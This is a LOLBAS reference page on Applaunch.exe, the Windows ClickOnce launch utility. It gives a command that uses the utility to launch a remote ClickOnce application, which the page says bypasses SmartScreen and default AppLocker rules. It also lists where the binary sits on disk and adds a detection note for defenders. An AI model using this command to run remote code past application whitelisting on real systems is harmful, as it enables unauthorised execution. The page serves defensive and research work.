LOLBAS. GitHub
LIVING OFF THE LAND / OS BINARIES

Applaunch.exe

View source

Microsoft .NET ClickOnce Launch Utility.

AWL Bypass
01COMMAND EXAMPLES
01ATT&CK TECHNIQUES
00DETECTION RESOURCES
01CAPABILITIES
01 / TRADECRAFT

Command reference

1 examples

AWL Bypass1

EXAMPLE 01T1127.002

Launches a ClickOnce application via `Applaunch.exe`. Bypasses SmartScreen and default AppLocker rules when the application is published as partial trust.

COMMAND
"C:\Windows\Microsoft.NET\Framework64\v4.0.30319\Applaunch.exe" /activate "{REMOTEURL}#APPLICATION_METADATA_HERE"
USE CASE
Execute ClickOnce applications in environments where `dfsvc.exe` would normally enforce full-trust and SmartScreen checks. Can be abused as an AWL bypass in rare configurations.
PRIVILEGES
User
OPERATING SYSTEM
Windows Vista, Windows 7, Windows 8, Windows 8.1, Windows 10, Windows 11
Execute · ClickOnceExecute · Remote
02 / ON DISK

Known paths

C:\Windows\Microsoft.NET\Framework\v2.0.50727\Applaunch.exe
C:\Windows\Microsoft.NET\Framework64\v2.0.50727\Applaunch.exe
C:\Windows\Microsoft.NET\Framework\v4.0.30319\Applaunch.exe
C:\Windows\Microsoft.NET\Framework64\v4.0.30319\Applaunch.exe
03 / DEFENSIVE INTELLIGENCE

Detection & indicators

0 resources

Indicators & detection notes

  • IOC

    Applaunch.exe rarely executes unless any ClickOnce partial trusted apps are used. Any use or invocation outside dfsvc.exe with `/activate` should be considered suspicious.

FURTHER READING

Research & resources

COMMUNITY RESEARCH

Acknowledgements

Nathan Sawyer